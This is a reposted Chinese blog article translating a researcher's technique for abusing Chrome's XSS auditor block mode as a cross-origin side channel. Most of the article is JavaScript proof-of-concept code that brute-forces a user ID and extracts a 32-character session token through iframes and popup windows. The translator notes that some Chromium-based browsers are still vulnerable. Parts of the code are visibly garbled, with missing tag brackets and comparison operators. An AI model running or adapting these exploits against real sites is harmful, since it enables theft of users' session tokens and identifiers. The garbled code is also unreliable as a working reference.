应用Chrome XSS auditor偷取tokens

提到XSS auditor咱们更多想到的便是绕过。XSS auditor实在可恶,不知让咱们死了多少脑细胞,今天咱们就来看看歪果仁是怎样应用Chrome的XSS auditor实现盗取token的,吐一口恶气吧!

检测XSS auditor

James告诉我说在Chrome的Xss auditor中有一个块模式,对此我表示十分的有兴趣。当http头设置为:

X-XSS-Protection: 1; mode=block

假如检测到存在XSS攻击,XSS auditor会删除页面上所有的内容。我认为咱们能够应用这个特性,因为目标站点包括一个iframe,接着应用窗口的长度属性去判断这个iframe是否还存在。现目前大部分浏览器都能够应用contentWindow.length进行跨域。下面是演示范例

 onload="alert(this.contentWindow.length)" src="https://somedomain/with_iframe"

所以,假如这个站点包括iframe那么弹出窗口会显示1,反之则会显示0。假如有许多个iframe,在弹出的窗口会显示具体的iframe数量。

获取用户ID

首先我就在想如何应用这一特性从内联剧本中读取用户ID。假如XSS auditor活跃的话,能够通过注入假的XSS向量并监视长度属性进行观察。注入一系列虚假向量,每次递增一个用户ID来检测正确值。目标页面的输出大概是这样。

phpheader("X-XSS-Protection: 1; mode=block");?>testtestuid = 1337;x

正如你看到的,咱们在块模式中写入了XSS过滤,该页面包括一个iframe以及剧本块中包括了一个用户ID。下面为假向量

?fakevector=%0auid = 1;%0a?fakevector=%0auid = 2;%0a?fakevector=%0auid = 3;%0a?fakevector=%0auid = 4;%0a...

XSS auditor忽略了关闭的剧本,但是末尾那一行是为了检测XSS的须要。下面为一个简单的提取uid的PoC

body>script>!function(){ var url = 'https://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = %s;%0a<\/script>',  amount = 9999, maxNumOfIframes = 1; for(var i=0;imaxNumOfIframes;i++) {  createIframe(i*amount,(i*amount)+amount,i); } function createIframe(min, max) {  var iframe = document.createElement('iframe'), div, p = document.createElement('p');  iframe.title = min;  iframe.onload = function() {   if(!this.contentWindow.length){    p.innerText = 'uid='+this.title;    document.body.removeChild(this);    return false;   }   if(this.title > max) {    document.body.removeChild(this);    } else {    this.contentWindow.location = url.replace(/%s/,++this.title)+'&'+(+new Date);   }   p.innerText = 'Bruteforcing...'+this.title;  }  iframe.src = url.replace(/%s/,iframe.title);  document.body.appendChild(iframe);  document.body.appendChild(p); }}(); script>body>

上述代码创立一个iframe(你也能够创立多个iframe,在本例中创立一个iframe是为了更快的演示),应用onload处理程序并检测contentWindow.length属性,假如没有返回一个用户ID,那么会通过设置iframe位置继续尝试下一个值。

窗口应用

假如应用x-frame-options选项或者CSP策略,然而也并没有什么卵用,应用新窗口仍然能够检测XSS auditor。不幸的是,在新窗口咱们无法应用onload 事件处理程序,由于安全因素咱们无法实现跨域。然而咱们能够应用超时/间隔来绕过它,然后静待页面加载。

script>function poc(id) { if(!window.win) {  win = window.open('https://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = '+id++(+new Date),''); } else {  win.location = 'https://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = '+id++(+new Date); }  timer=setInterval(function(){  try {   win.document.documentElement;  } catch(e) {     if(win && !win.length) {    clearInterval(timer);    alert('uid='+id);   } else {    clearInterval(timer);    poc(++id);   }  } },20);} script>a href="#" onclick="poc(1)">PoCa>

第一行用来检测是否存在一个窗口,假如不存在那么就创立一个窗口并存储一个会引用到的全局变量。接着应用一个20毫秒的间隔进行反复检测XSS是否发生,假如没有发生就继续调用该函数。

盗取token

到目前为止咱们讨论的方法虽然很炫酷,但是有点站不住脚,能够检索的数据有些限制并且须要以某种特殊的方式形成剧本块。 Eduardo Vela建议我应用表单动作以及现有的参数来完成。我创立了一个PoC成功的从表单动作中提取到一个32字符的hash。

该页面在获取到你所想要的token之前,须要一个iframe,块模式以及一个过滤参数来呈现。

phpheader("X-XSS-Protection: 1;mode=block"); session_start();if(!isset($_SESSION['token'])) { $token = md5(time()); $_SESSION['token'] = $token;} else { $token = $_SESSION['token'];}?>php echo htmlentities($_GET['x'])?>&token=php echo $token?>">php echo $token?>

PoC:

body>div id="x"div>script>function poc(){ var iframe = document.createElement('iframe'),  padding = '1234567891234567891234567891234567891234567891234567891234567891234567'.split(''),  token = "a".split(''),  tokenLen = 32, its = 0,  url = 'https://somedomain/chrome_xss_filter_bruteforce/form.php?x=%s&fakeparam=%3Cform%20action=%22testurl.php?x=%s2&token=%s3', last, repeated = 0; iframe.src = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join('')); iframe.width = 700; iframe.height = 500; iframe.onload = function() {  if(token.length === tokenLen+1) {   alert('The token is:'+token.slice(0,-1).join(''));   document.getElementById('x').innerText = document.getElementById('x').innerText.slice(0,-1);   return false;  }  if(this.contentWindow.length) {   getNextChar();   if(its > 20) {    token.pop();    token[token.length-1] = '0';    token.push("a");    its = 0;    repeated++;      }   if(repeated > 2) {    repeated = 0;    its = 0;    token.pop();    token.pop();    token[token.length-1] = '0';    token.push('0');    token.push('a');   }   this.contentWindow.location = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join(''));   its++;  } else {   repeated = 0;   its = 0;   token.push("a");   padding.pop();   this.contentWindow.location = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join(''));  }  document.getElementById('x').innerText = 'Token:'+token.join(''); } document.body.appendChild(iframe);  function getNextChar() {  chr = token[token.length-1];   if(chr === 'f' && last === 'f') {   token[token.length-1] = '1';   last = '1';   return false;  }  else if(chr === '9' && last === '9') {   token[token.length-1] = 'a';   last = 'a';   return false;  }    if(chr >= 'a' && chr  'f') {   token[token.length-1] = String.fromCharCode(chr.charCodeAt()+1);  } else if(chr === 'f') {   token[token.length-1] = 'f';  }  else if(chr >= '0' && chr  '9') {   token[token.length-1] = String.fromCharCode(chr.charCodeAt()+1);  }  else if(chr === '9') {   token[token.length-1] = '9';  }  last = chr; }}poc();script>body>

POC演示

最后的PoC演示,虽然在最新的Chrome中已经被修复了,但译者测试国内基于Chrome内核的几个浏览器都还能用耶。

咱们这里有一个演示视频,可供参考。

链接:https://pan.baidu.com/s/1pJoWu9d 密码:hnut

【责任编辑: TEL:(010)68476606】

转载自:https://netsecurity.51cto.com/art/201508/488991.htm

声明: 除非转自他站(如有侵权,请联系处理)外,本文采用 BY-NC-SA 协议进行授权 | 智乐兔
转载请注明:转自《应用Chrome XSS auditor偷取tokens
本文地址:https://www.zhiletu.com/archives-4403.html
关注公众号:智乐兔

赞赏

wechat pay微信赞赏alipay pay支付宝赞赏

上一篇
下一篇

相关文章

在线留言

你必须 登录后 才能留言!

在线客服
在线客服 X

售前: 点击这里给我发消息
售后: 点击这里给我发消息

智乐兔官微